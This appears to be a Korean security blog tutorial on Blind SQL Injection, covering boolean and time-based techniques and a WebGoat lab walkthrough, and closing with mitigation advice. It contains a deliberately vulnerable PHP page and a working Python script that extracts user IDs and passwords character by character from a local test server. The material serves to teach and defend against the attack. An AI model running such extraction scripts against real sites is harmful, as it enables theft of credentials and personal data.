본문 바로가기

시스템/웹/포렌식 보안/웹 해킹/보안

Blind SQL Injection

1. 공격설명

                                                         <WAS 3-Tier 구조>  

일반적인 SQL인젝션은 사용자 입력필드를 통해 URI또는 Body를 통해 DB로 전해지는 쿼리의 취약점을 이

용한다. 가장 기본적으로 인증필드에 ‘ or ‘ ‘=, or 1=1, --과 같은 구문을 넣음으로 Select로 전해지는 SQL

쿼리의 값을 True로 만들어 불법적인 접근을 가능 하게 한다. Blind SQL Injection은 참/거짓 논리를 이용하

거나 시간의 지연을 통해 DB정보를 추출한다. 이 공격은 일반적인 SQL Injection과 비슷하지만, 일반적인

SQL Injection은 데이터를 한 번에 얻어 내는 것에 반해, Blind SQLLimit 연산, substr(문자열 자르기),

ASCII(아스키 코드 반환)등 함수를 이용한 많은 Query를 보내 리턴 값을 통해 정보 수집을 하며 필드 값이

나 테이블 명을 추측하여 공격한다. 공격 성공 시 DB의 취약성 확인 및 테이블 정보 등이 유출되고, 결과

적으로 개인정보 등의 중요한 정보가 유출된다. 쿼리를 통해 값을 하나하나씩 대입해보기 때문에 자동화된

툴을 이용하는 경우가 많다. 이 외의 Time based - waitfor 구문을 이용한 deley(쿼리 지연)값이나

benchmark(DB응답속도 측정), sleep(쓰레드 대기) 함수를 이용하여 DB정보를 획득할 수 있다. 또한 최근에

MySQL의 정규표현식인 REGEXP 쿼리를 이용한 공격도 IDS벤더에서 발표 되었다. 공격방법은 공격자의

능력에 따라 다양한 형태로 나타날 수 있다.

 

1.1 Limit 연산

취약한 로그인 폼에서 USERS 테이블에 idpassword, primary key 칼럼이 존재하며 id

Admin, password는 ‘ad1234’일 때, 쿼리 예시

 

                                                           <기본 테이블 셋팅>

 

Limit쿼리는 결과값에서 몇 개의 행을 보여줄지를 검색하는 연산이다. 위의 캡처에서

Number of Rows30으로 설정되어 있기 때문에 기본적으로 Limit 0, 30이 뒤에 붙어 나온

. 이는 0번째 행부터 30번째 행까지 결과값을 출력한다.

 

1.2 Substr함수

Substr함수는 substr(string, 자르기 시작할 문자의 인덱스, 자를 문자의 개수)를 인수로 전

달받아 그 결과값을 출력한다.

 

                                 <Substr함수로 admin의 "a"를 추출>

 

1.3 ASCII함수

Ascii함수는 리턴된 결과값을 ascii문자로 변환한다. < > = 부호화 함께 쓰여 결과값에 대한

범위를 한정하여 추측하며, brute force하는 방식으로 tables의 칼럼 정보는 획득 한다.

 

위와 같은 쿼리를 입력 필드나 URI를 통해 인젝션 하여 가져온 결과 값(아스키코드 또는 서

버의 반응)을 조합하여 임의의 숫자와 비교(<, >, =)해가며 그 아스키 코드를 알아내어 문자

로 반환하고, 각 글자들을 조합하여 원하는 데이터를 알아내는 방식을 Blind SQL Injection

라고 한다.

 

1.4 Blind SQL Injection 공격예시(WebGoat)

- user_data테이블에서 userid 15613을 갖는 레코드의 first_name을 찾는 문제

 

- truefalse에 대한 서버의 반응

-> 존재하는 userid(true) 입력 시 “Account number is valid

 

-> 임의의 값(false) 입력 시 “Invalid account number

- Substr, ASCII 쿼리 조합으로 Blind SQL Injection 시도

 

 -> 15632 and ascii(substr((select first_name from user_data where userid=15613),1,1)) <

     91, user_datauserid 15613first_name의 첫 문자는 아스키코드 91(, 소문자 구별)

     이하

 -> 이 쿼리에 대해 Account number is valid(true)를 리턴 받았기 때문에 첫 글자는 대문자

 

- 계속해서 범위를 대입하여 아스키코드 추출

 

 

-> 범위를 좁혀 가며 대입 시 아스키코드 74로 확인, userid 15631firtst_name 첫 글자는

J

 

-> 계속해서 위와 같은 쿼리로 'Joesph' 라는 first_name 확인 가능

 

2. 공격 테스트(Blind SQL Injection Tool)

2.1 테스트 환경(local)

Apache 2.2.14

MySQL 5.1.41

PHP 5.2.12

취약한 로그인 페이지 소스

 

2.2 취약 웹 페이지 소스

<?php

$n = $_GET['num'];

if(empty($n)){

$n = 1;

}

$dbhost = 'localhost';

$dbuser = 'root';

$dbpass = 'apmsetup';

$database = 'injection_db';

$db = mysql_connect($host, $dbuser, $dbpass);

mysql_select_db($database,$db);

$sql = mysql_query("select * from `users` where num=".$n) or die (mysql_error());

$info = @mysql_fetch_row($sql);

echo "<body bgcolor=#000000>";

echo "<h1><font color=#2BF70E>num: </font><font color=#D2691E>".$info[0]."</font></h1>";

echo "<h1><font color=#2BF70E>user: </font><font color=#D2691E>".$info[1]."</font>";

echo "<body>";

mysql_close($db);

?>

2.3 Exploit Code(Python)

#!/usr/bin/python

### blind.py ###

import urllib

import sys

import os

def put_data(true_url, true_result, field, index, length):

for i in range(1, length+1):

for j in range(32, 127): // 아스키 코드 범위 지정


 

attack_url =

true_url + "^

(%%a0locate%%a0%%a0(0x%x,(%%a0select%%a0%s%%a0%%a0from

%%a0%%a0users%%a0where%%a0num=%d),%d)=%d)" %

( j,field,index,i,i) // Blind SQL Injection 쿼리(True)

attack_open = urllib.urlopen(attack_url)

attack_result = attack_open.read()

attack_open.close()

if attack_result==true_result:

ch = "%c" % j

sys.stdout.write(ch)

break

print "\t\t",

// 결과값 출력

def get_length(false_url, false_result, field, index):

i=0

while 1:

data_length_url = false_url + "^(%%a0(select%%a0octet_length%%a0%%a0(%s)

%%a0from%%a0users%%a0where%%a0num%%a0=%%a0%d)%%a0=%%a0%d)"

% (field,index,i)

// Blind SQL Injection 쿼리(False)

data_length_open = urllib.urlopen(data_length_url)

data_length_result = data_length_open.read()

data_length_open.close()

if data_length_result==false_result:

return i

i+=1

// substr함수 파라미터 증가

url = http://127.0.0.1/info.php // 공격 URL 지정

true_url = url + "?num=1"

true_open = urllib.urlopen(true_url)

true_result = true_open.read()

true_open.close()


 

false_url = url + "?num=0"

false_open = urllib.urlopen(false_url)

false_result = false_open.read()

false_open.close()

print "num\t\tid\t\tpassword"

fields = "num", "id", "password"

for i in range(1, 4):

for j in range(0, 3):

length = get_length(false_url, false_result, fields[ j], i)

length = put_data(false_url, true_result, fields[ j], i, length)

print ""

 

- 실행화면 

 

 

3. 취약점 해결방안

- 응용프로그램의 에러정보를 노출하지 않는다(HTTP 에러코드의 경우 400, 403, 500등은 노출 하지 않고,

   보여지더라도 404에러코드를 리턴한다)

- 스크립트 오류표시 제한

- 입력 필드나 URL의 파라미터를 처리할 때 입력 값을 필터링 한다(특수문자, SQL 구문)

- SQL Server 잠금장치를 한다

- 웹 방화벽 도입

- IDS의 탐지정책 설정(기존의 정책으로 한계가 있을 수 있음, 빈번한 오탐의 이슈 고려)

 

4. 참고문서

http://www.exploit-db.com/papers/18263/

http://ha.xxor.se/2011/06

The Basic Blind SQL Injection(by Sur3x5F PRIDE)